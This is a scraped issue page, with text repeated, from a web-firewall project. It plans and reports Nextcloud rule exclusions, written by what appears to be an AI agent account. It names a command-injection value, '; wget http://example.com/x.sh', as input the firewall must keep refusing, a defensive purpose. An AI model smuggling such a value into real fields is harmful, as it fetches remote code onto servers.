One unit of #212: its definition of done, for Nextcloud, built by the plan at #212 (comment).
Ordinary traffic to record: pages signed in and out; sign-in; the Files app; WebDAV under /remote.php/dav as the sync client uses it, with PROPFIND, PUT, MKCOL, MOVE and chunked uploads; the OCS API; admin settings.
The landing title ends with this issue's (closes #N).
Model: opus-5-5
One unit of https://git.eeqj.de/sneak/smallwebwaf/issues/212: its definition of done, for Nextcloud, built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639.
Ordinary traffic to record: pages signed in and out; sign-in; the Files app; WebDAV under `/remote.php/dav` as the sync client uses it, with `PROPFIND`, `PUT`, `MKCOL`, `MOVE` and chunked uploads; the OCS API; admin settings.
The landing title ends with this issue's `(closes #N)`.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 06:12:22 +01:00
Plan for this unit, on top of #212 (comment) and its addition at #212 (comment), which bind it. MediaWiki's change (#251) is the model to follow.
Where:internal/coreruleset. New files nextcloud.conf, nextcloud_test.go and testdata/nextcloud-requests.txt. Tests load through the shared helpers and check recorded requests through the shared function; attack strings use the shared constants (injection, scriptTag, sqlInjection, scriptInjection), never new literals.
Recording: Nextcloud's current release from its official image, pinned by digest, in Docker on this host, with SQLite. The web pages, the Files app and admin settings through a headless Chrome in a container; WebDAV under /remote.php/dav as the desktop sync client uses it (PROPFIND, PUT, MKCOL, MOVE, COPY, DELETE, chunked uploads, with the client's headers) and the OCS API through plain HTTP clients. Record file and folder names, share names, search terms and comments with plain words and with python3, powershell, ls -la and .htaccess; WebDAV paths with such names too, since the file name is in the path. Commit nothing about running it; remove every container and volume you start; stay under 3 GiB of RAM.
Exclusions: per field, path part, header or method, across Nextcloud's own paths, removing on each only the rules its recorded values set off. SQL injection, path traversal, script injection and ; wget http://example.com/x.sh stay refused on every field the file touches, with tests; a path traversal in a WebDAV path stays refused. Every rule is phase 1, unless it must read the body; a later-phase rule follows whatever next says about such rules.
SWW_APPS:#225 waits on sneak. If it has landed, register nextcloud as mediawiki is. If not, SPEC.md lists the file as the next numbered change, and coreruleset.go loads it last; that PR adapts. Mastodon (#268) and Vaultwarden (#239) are in flight too: whichever lands later renumbers.
Docs:README.md lists Nextcloud with the other apps, as a bulleted list; SPEC.md describes the change where it describes the others, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan for this unit**, on top of https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023, which bind it. MediaWiki's change (https://git.eeqj.de/sneak/smallwebwaf/pulls/251) is the model to follow.
- **Where:** `internal/coreruleset`. New files `nextcloud.conf`, `nextcloud_test.go` and `testdata/nextcloud-requests.txt`. Tests load through the shared helpers and check recorded requests through the shared function; attack strings use the shared constants (`injection`, `scriptTag`, `sqlInjection`, `scriptInjection`), never new literals.
- **Recording:** Nextcloud's current release from its official image, pinned by digest, in Docker on this host, with SQLite. The web pages, the Files app and admin settings through a headless Chrome in a container; WebDAV under `/remote.php/dav` as the desktop sync client uses it (`PROPFIND`, `PUT`, `MKCOL`, `MOVE`, `COPY`, `DELETE`, chunked uploads, with the client's headers) and the OCS API through plain HTTP clients. Record file and folder names, share names, search terms and comments with plain words and with `python3`, `powershell`, `ls -la` and `.htaccess`; WebDAV paths with such names too, since the file name is in the path. Commit nothing about running it; remove every container and volume you start; stay under 3 GiB of RAM.
- **Exclusions:** per field, path part, header or method, across Nextcloud's own paths, removing on each only the rules its recorded values set off. SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` stay refused on every field the file touches, with tests; a path traversal in a WebDAV path stays refused. Every rule is phase 1, unless it must read the body; a later-phase rule follows whatever `next` says about such rules.
- **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it has landed, register `nextcloud` as `mediawiki` is. If not, `SPEC.md` lists the file as the next numbered change, and `coreruleset.go` loads it last; that PR adapts. Mastodon (https://git.eeqj.de/sneak/smallwebwaf/pulls/268) and Vaultwarden (https://git.eeqj.de/sneak/smallwebwaf/issues/239) are in flight too: whichever lands later renumbers.
- **Docs:** `README.md` lists Nextcloud with the other apps, as a bulleted list; `SPEC.md` describes the change where it describes the others, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
Built in #275, recorded from Nextcloud 35.0.2 and its sync client 3.16.7. Beyond the plan:
The cookie nc_username names the signed-in account on every request, so an account named python3 was refused everywhere. It skips the four command and system-file rules on every path.
The Text editor's save (the Files app's Readme.md), the theming name and slogan, and new tags needed exclusions too.
LOCK and UNLOCK stay refused: nothing recorded used them.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/275, recorded from Nextcloud 35.0.2 and its sync client 3.16.7. Beyond the plan:
- The cookie `nc_username` names the signed-in account on every request, so an account named `python3` was refused everywhere. It skips the four command and system-file rules on every path.
- The Text editor's save (the Files app's `Readme.md`), the theming name and slogan, and new tags needed exclusions too.
- `LOCK` and `UNLOCK` stay refused: nothing recorded used them.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
One unit of #212: its definition of done, for Nextcloud, built by the plan at #212 (comment).
Ordinary traffic to record: pages signed in and out; sign-in; the Files app; WebDAV under
/remote.php/davas the sync client uses it, withPROPFIND,PUT,MKCOL,MOVEand chunked uploads; the OCS API; admin settings.The landing title ends with this issue's
(closes #N).Model: opus-5-5
Plan for this unit, on top of #212 (comment) and its addition at #212 (comment), which bind it. MediaWiki's change (#251) is the model to follow.
internal/coreruleset. New filesnextcloud.conf,nextcloud_test.goandtestdata/nextcloud-requests.txt. Tests load through the shared helpers and check recorded requests through the shared function; attack strings use the shared constants (injection,scriptTag,sqlInjection,scriptInjection), never new literals./remote.php/davas the desktop sync client uses it (PROPFIND,PUT,MKCOL,MOVE,COPY,DELETE, chunked uploads, with the client's headers) and the OCS API through plain HTTP clients. Record file and folder names, share names, search terms and comments with plain words and withpython3,powershell,ls -laand.htaccess; WebDAV paths with such names too, since the file name is in the path. Commit nothing about running it; remove every container and volume you start; stay under 3 GiB of RAM.; wget http://example.com/x.shstay refused on every field the file touches, with tests; a path traversal in a WebDAV path stays refused. Every rule is phase 1, unless it must read the body; a later-phase rule follows whatevernextsays about such rules.SWW_APPS: #225 waits on sneak. If it has landed, registernextcloudasmediawikiis. If not,SPEC.mdlists the file as the next numbered change, andcoreruleset.goloads it last; that PR adapts. Mastodon (#268) and Vaultwarden (#239) are in flight too: whichever lands later renumbers.README.mdlists Nextcloud with the other apps, as a bulleted list;SPEC.mddescribes the change where it describes the others, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #275, recorded from Nextcloud 35.0.2 and its sync client 3.16.7. Beyond the plan:
nc_usernamenames the signed-in account on every request, so an account namedpython3was refused everywhere. It skips the four command and system-file rules on every path.Readme.md), the theming name and slogan, and new tags needed exclusions too.LOCKandUNLOCKstay refused: nothing recorded used them.Model: opus-5-5